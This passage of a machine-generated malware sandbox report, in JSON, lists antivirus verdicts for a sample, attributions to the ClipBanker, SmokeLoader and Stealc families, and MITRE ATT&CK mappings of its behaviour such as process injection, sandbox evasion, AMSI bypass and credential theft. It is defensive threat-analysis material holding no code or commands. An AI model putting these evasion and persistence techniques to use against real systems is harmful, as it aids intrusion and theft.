)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"high_entropy","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/ILAgent-I","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"malicious","threat_name":"GenericRXOO-YN!6AF4B8B8C839","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/MSIL_Kryptik.FFY.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Genus.VAQ","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.Win32.3854582","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"IL:Trojan.ClipBanker","sources":[{"report_type":"quickscan","report_id":""}]},{"value":"SmokeLoader","sources":[{"report_type":"qsp","report_id":""}]},{"value":"Stealc","sources":[{"report_type":"qsp","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute WMI queries (Dotnet)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Able to execute applications using .NET process API"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Found Native API in Dotnet file"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"PE file contains large number of import functions"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"malicious","value":"Calls an API typically used to execute an application"},{"type":"informative","value":"Contains native function calls (syscalls strings)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to start a process (Dotnet)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to load modules (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains ability to retrieve information about MS-DOS device names (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Found system command-related strings"},{"type":"suspicious","value":"Contains ability to query CPU information"},{"type":"informative","value":"Read system defined device setup information from registry"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"suspicious","value":"Contains ability to measure performance"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"},{"type":"informative","value":"Able to perform SQL operations"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Reconnaissance","technique":"Credentials","attack_id":"T1589.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1589/001","identifiers":[{"type":"informative","value":"Attempts to steal credentials via Security Account Manager (SAM) modules"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Contains ability to executes commands or batch file"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"malicious","value":"Schedules a task to be executed at a specific time and date"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"},{"type":"informative","value":"Contains reference to multiple windows system processes"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Connects to LPC ports"},{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"},{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"},{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"},{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Dotnet code contains ability to modify/delete registry"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"},{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Contains reference to Windows Startup folder"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Contains reference to Hijacked CLSID(s)"},{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Persistence","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Possible DLL sideloading"},{"type":"informative","value":"Potential hijacking of DLL execution flow detected"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Imports system security related APIs"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify process memory (API string)"},{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Able to detect if debugger is present"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"},{"type":"informative","value":"Contains ability to set file attributes (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Calls an API typically used to remove a directory"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to empty the recycle bin (API string)"},{"type":"informative","value":"Able to permanently delete files from the Recycle Bin"},{"type":"informative","value":"Imports SHEmptyRecycleBin API"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"},{"type":"informative","value":"Found virtual disk drive like strings"},{"type":"informative","value":"Spawns Windows crash diagnostic and reporting process"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Contains a Wine emulator-related string"},{"type":"informative","value":"Able to identify virtual/sandbox environment"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"malicious","value":"The input sample contains a known anti-VM trick"},{"type":"informative","value":"The input sample possibly contains the RDTSCP instruction"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Contains ability to detect sandbox (imports API)"},{"type":"informative","value":"The input sample contains the RDTSCP instruction"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"},{"type":"informative","value":"Able to identify sandbox environment running process"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"Dropped file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Dotnet file resource with suspicious entropy"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"Contains ability to load content from resource"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"PE file contains zero-size sections"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"suspicious","value":"PE file has unusual entropy sections"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Attempts to read volume data via DOS device path"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Tries to map intranet network resources to internet zone"},{"type":"informative","value":"Contains ability to modify process attributes (API string)"},{"type":"informative","value":"Contains ability to modify Windows Defender preferences (Powershell command string)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Defense Evasion","technique":"Clear Persistence","attack_id":"T1070.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/009","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Defense Evasion","technique":"Masquerade Task or Service","attack_id":"T1036.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/004","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"tactic":"Defense 